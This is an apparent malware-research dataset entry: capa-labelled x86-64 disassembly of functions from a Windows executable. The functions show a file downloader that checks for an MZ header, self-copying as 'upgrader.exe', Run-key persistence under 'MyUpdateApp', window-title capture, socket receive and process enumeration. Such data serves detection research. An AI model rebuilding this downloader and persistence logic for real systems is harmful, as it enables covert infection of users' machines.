joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008034
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x148]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x60]
add rax, 0x138
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140008b58
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x360], eax
mov rax, qword [rsp + 0x60]
movsxd rax, dword [rax + 0x360]
mov rcx, qword [rsp + 0x60]
add rcx, 0x160
mov rdx, qword [rsp + 0x60]
add rdx, 0x160
mov rdi, rdx
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x360]
add eax, 8
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x364], eax
mov rax, qword [rsp + 0x60]
add rax, 0x370
mov rcx, rax
call fcn.14000f3d4
add rax, 8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
mov word [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
movzx r8d, word [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x38]
call qword [rax]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400081b5
mov rax, qword [rsp + 0x60]
add rax, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x138]
mov rax, qword [rax + 0x140]
sub rax, rcx
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
mov rax, qword [rsp + 0x60]
pxor xmm1, xmm1
cvtsi2sd xmm1, qword [rax + 0x130]
divsd xmm1, qword [0x1400466d8]
divsd xmm0, xmm1
mov rax, qword [rsp + 0x60]
movsd qword [rax + 0x128], xmm0
mov al, 1
jmp 0x1400081b7
xor al, al
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x140009d64
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov ecx, 0x7532
call fcn.140027ea4
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x38], rax
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov ecx, 0x7532
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x38]
mov byte [rax], 2
mov dword [rsp + 0x2c], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x24], 0
mov edx, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x140009dfa
mov rax, qword [rsp + 0x38]
add rax, 2
lea r8, [0x140046848]
mov edx, 0x36b0
mov rcx, rax
call fcn.1400285bc
jmp 0x140009ec9
mov qword [rsp + 0x40], 0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140009e33
mov rax, qword [rsp + 0x38]
add rax, 2
mov r8d, 0x104
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rax, qword [rsp + 0x38]
add rax, 2
lea rcx, [0x1400467f4]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140009e5c
add rax, 2
test dx, dx
jne 0x140009e46
xor eax, eax
jmp 0x140009e61
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x140009e82
mov rax, qword [rsp + 0x38]
add rax, 2
lea r8, [0x140046858]
mov edx, 0x3a98
mov rcx, rax
call fcn.1400285bc
mov rax, qword [rsp + 0x38]
add rax, 2
mov rcx, qword [rsp + 0x38]
add rcx, 2
mov r9, rax
lea r8, [0x140046864]
mov edx, 0x3a98
call fcn.1400285bc
mov dword [rsp + 0x50], 0
lea rax, [rsp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0x238
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x38]
add rax, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x2b0]
mov rcx, qword [rcx + 8]
mov rax, qword [rax]
mov r8d, 0x7532
mov rdx, qword [rsp + 0x38]
call qword [rax + reloc.WS2_32.dll_recv]
cmp qword [rsp + 0x38], 0
je 0x140009f3e
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x298], rax
mov rcx, qword [rsp + 0x298]
call fcn.14002792c
mov qword [rsp + 0x38], 0
add rsp, 0x2a0
pop rdi
ret
Function at 0x140009f48
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x628
lea rax, [rsp + 0x50]
mov rdi, rax
mov rsi, qword [rsp + 0x648]
mov ecx, 0x2d8
rep movsb byte [rdi], byte [rsi]
xor eax, eax
mov word [rsp + 0x340], ax
lea rax, [rsp + 0x342]
mov rdi, rax
xor eax, eax
mov ecx, 0x2ce
rep stosb byte [rdi], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x330], rax
cmp qword [rsp + 0x330], 0xffffffffffffffff
jne 0x140009fe4
xor eax, eax
jmp 0x14000a0df
mov eax, dword [rsp + 0x650]
sub rax, 0x2d8
mov rcx, qword [rsp + 0x648]
add rcx, 0x2d8
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000a02d
xor eax, eax
jmp 0x14000a0df
mov rcx, qword [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x14000a06e
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
lea rcx, [rsp + 0x340]
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x14000a084
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x340]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x610], eax
cmp dword [rsp + 0x610], 0
je 0x14000a0a5
cmp dword [rsp + 0x610], 1
je 0x14000a0c2
jmp 0x14000a0da
mov r8d, 5
lea rdx, [rsp + 0x340]
mov rcx, qword [rsp + 0x640]
call fcn.14000a0ec
jmp 0x14000a0da
xor r8d, r8d
lea rdx, [rsp + 0x340]
mov rcx, qword [rsp + 0x640]
call fcn.14000a0ec
mov eax, 1
add rsp, 0x628
pop rdi
pop rsi
ret
Function at 0x14000ad0c
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x230], 0
je 0x14000ad3b
lea rax, [0x140046a20]
mov qword [rsp + 0x38], rax
jmp 0x14000ad47
lea rax, [0x140046a30]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x230], 0
je 0x14000ada3
lea rax, str.back
mov qword [rsp + 0x40], rax
jmp 0x14000adaf
lea rax, str.main
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000ae12
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000ae12
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000ae1d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret
Function at 0x14000aff0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x8a0
mov qword [rsp + 0x880], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x888], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 1
mov byte [rsp + 0x70], 1
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x58], rax
lea rdx, str.InternetOpenW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.MSIE_6.0
call qword [rsp + 0x68]
mov qword [rsp + 0x880], rax
cmp qword [rsp + 0x880], 0
jne 0x14000b0a8
cmp qword [rsp + 0x58], 0
je 0x14000b0a1
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000b259
lea rdx, str.InternetOpenUrlW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x8b0]
mov rcx, qword [rsp + 0x880]
call qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x14000b111
cmp qword [rsp + 0x58], 0
je 0x14000b10a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000b259
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x8b8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
je 0x14000b20b
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x890], rax
lea r9, [rsp + 0x888]
mov r8d, 0x800
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x890]
cmp dword [rsp + 0x44], 0
je 0x14000b1c1
movzx eax, word [rsp + 0x80]
cmp eax, 0x5a4d
je 0x14000b1c1
mov byte [rsp + 0x70], 0
jmp 0x14000b200
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x888]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x888], 0
ja 0x14000b154
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x48]
mov rcx, qword [rsp + 0x880]
call qword [rsp + 0x48]
cmp qword [rsp + 0x58], 0
je 0x14000b255
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [rsp + 0x70]
add rsp, 0x8a0
pop rdi
ret
Function at 0x14000b264
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000b28e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14000b28e
xor eax, eax
jmp 0x14000b293
mov eax, 1
add rsp, 0x28
ret
Function at 0x14000d340
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [rsp + 0x98]
mov rax, qword [rax + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98]
mov rcx, qword [rcx]
movzx ecx, word [rcx + 0x14]
lea rax, [rax + rcx + 0x18]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x30], 0
jmp 0x14000d3b1
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x50]
add rax, 0x28
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x30], eax
jge 0x14000d578
mov rax, qword [rsp + 0x50]
cmp dword [rax + 0x10], 0
jne 0x14000d497
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jle 0x14000d492
movsxd rax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x98]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov rax, qword [rsp + 0x98]
call qword [rax + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000d44a
xor eax, eax
jmp 0x14000d57d
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 8], eax
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x58], rax
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rcx, qword [rsp + 0x58]
rep stosb byte [rdi], al
jmp 0x14000d399
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x50]
add eax, dword [rcx + 0x10]
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0x88]
call fcn.14000d30c
test eax, eax
jne 0x14000d4c3
xor eax, eax
jmp 0x14000d57d
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x98]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
mov rax, qword [rsp + 0x98]
call qword [rax + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000d519
xor eax, eax
jmp 0x14000d57d
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x80]
add rdx, rcx
mov rcx, rdx
mov rdi, qword [rsp + 0x38]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 8], eax
jmp 0x14000d399
mov eax, 1
add rsp, 0x68
pop rdi
pop rsi
ret
Function at 0x14000e8a8
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x148]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x70]
add rax, 0x150
xor ecx, ecx
xchg dword [rax], ecx
mov rax, qword [rsp + 0x70]
add rax, 0x138
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x70]
add rax, 0x160
mov rdx, qword [rsp + 0x88]
mov rcx, rax
call fcn.140008b58
mov rax, qword [rsp + 0x70]
add rax, 0x160
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x70]
mov dword [rcx + 0x360], eax
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x360]
mov rcx, qword [rsp + 0x70]
add rcx, 0x160
mov rdx, qword [rsp + 0x70]
add rdx, 0x160
mov rdi, rdx
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x360]
add eax, 8
mov rcx, qword [rsp + 0x70]
mov dword [rcx + 0x364], eax
mov rax, qword [rsp + 0x70]
add rax, 0x370
mov rcx, rax
call fcn.14000f3d4
add rax, 8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
mov word [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
movzx r8d, word [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x38]
call qword [rax]
mov dword [rsp + 0x34], eax
mov edx, 0xfa0
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x14000ea2d
cmp dword [rsp + 0x40], 0x102
je 0x14000eab8
cmp dword [rsp + 0x40], 0xffffffff
je 0x14000ead0
jmp 0x14000eae6
mov rax, qword [rsp + 0x70]
add rax, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x138]
mov rax, qword [rax + 0x140]
sub rax, rcx
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
mov rax, qword [rsp + 0x70]
pxor xmm1, xmm1
cvtsi2sd xmm1, qword [rax + 0x130]
divsd xmm1, qword [0x1400466d8]
divsd xmm0, xmm1
mov rax, qword [rsp + 0x70]
movsd qword [rax + 0x128], xmm0
mov rax, qword [rsp + 0x70]
add rax, 0x150
mov ecx, 1
xchg dword [rax], ecx
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, 1
jmp 0x14000eae8
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14000eae8
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14000eae8
xor al, al
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x14000fd50
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x248
mov dword [rsp + 0x230], 0
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x250]
call fcn.140011d54
mov eax, dword [rsp + 0x230]
or eax, 1
mov dword [rsp + 0x230], eax
mov rax, qword [rsp + 0x250]
add rsp, 0x248
ret

Function at 0x140010ad4
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push rdi
sub rsp, 0x250
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x140010b1f
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x1400473e4]
lea rdx, [0x1400473f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140010c15
lea rdx, str.upgrader.exe
lea rcx, [rsp + 0x30]
call fcn.14001261c
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x248], eax
cmp dword [rsp + 0x248], 0
je 0x140010b8c
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x14004748c]
lea rdx, [0x140047498]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140010c15
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x30]
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
dec rcx
mov rax, rcx
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyUpdateApp
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x248], eax
cmp dword [rsp + 0x248], 0
je 0x140010c07
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x1400474c8]
lea rdx, [0x1400474d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x250
pop rdi
ret
Function at 0x140010cc8
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x2a8
mov qword [rsp + 0x290], 0xfffffffffffffffe
lea rcx, [0x1400474e8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x270], rax
cmp qword [rsp + 0x270], 0
jne 0x140010d07
xor al, al
jmp 0x140010e55
lea rdx, [0x140047508]
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x278], rax
cmp qword [rsp + 0x278], 0
jne 0x140010d36
xor al, al
jmp 0x140010e55
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x280], rax
xor edx, edx
mov ecx, 2
call qword [rsp + 0x278]
lea r8, [rsp + 0x280]
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.140011de0
nop
lea rcx, [rsp + 0x260]
call fcn.140011e34
cmp rax, 0xffffffffffffffff
jne 0x140010da0
mov byte [rsp + 0x288], 0
lea rcx, [rsp + 0x260]
call fcn.140011e1c
mov al, byte [rsp + 0x288]
jmp 0x140010e55
mov dword [rsp + 0x20], 0x238
lea rcx, [rsp + 0x260]
call fcn.140011e34
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x140010de4
mov byte [rsp + 0x289], 0
lea rcx, [rsp + 0x260]
call fcn.140011e1c
mov al, byte [rsp + 0x289]
jmp 0x140010e55
lea rdx, [rsp + 0x4c]
mov rcx, qword [rsp + 0x2b0]
call fcn.140012774
movzx eax, al
test eax, eax
je 0x140010e1b
mov byte [rsp + 0x28a], 1
lea rcx, [rsp + 0x260]
call fcn.140011e1c
mov al, byte [rsp + 0x28a]
jmp 0x140010e55
lea rcx, [rsp + 0x260]
call fcn.140011e34
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140010de4
mov byte [rsp + 0x28b], 0
lea rcx, [rsp + 0x260]
call fcn.140011e1c
mov al, byte [rsp + 0x28b]
add rsp, 0x2a8
ret

Function at 0x140010ed0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
lea rax, str.21:21:13
mov ecx, eax
call fcn.14002a0e0
call fcn.14002a0f8
cdq
mov ecx, reloc.WS2_32.dll_shutdown
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
imul eax, eax, 0xe
cdqe
mov rcx, rax
call fcn.140010c78
call fcn.1400113d8
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140010f6c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x30], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x48
ret
Function at 0x1400113d8
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x710
mov r8d, 0x104
lea rdx, [rsp + 0x500]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140011405
mov eax, 1
jmp 0x140011522
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jge 0x140011430
mov eax, 1
jmp 0x140011522
lea r9, [rsp + 0x50]
lea r8, str._supgrader.exe
mov edx, 0x104
lea rcx, [rsp + 0x280]
call fcn.14001152c
test eax, eax
jge 0x14001145c
mov eax, 1
jmp 0x140011522
xor r8d, r8d
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x500]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140011483
mov eax, 1
jmp 0x140011522
mov dword [rsp + 0x490], 0x68
lea rax, [rsp + 0x498]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rsp + 0x260]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x490]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400114ff
mov eax, 1
jmp 0x140011522
call fcn.1400116dc
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x710
pop rdi
ret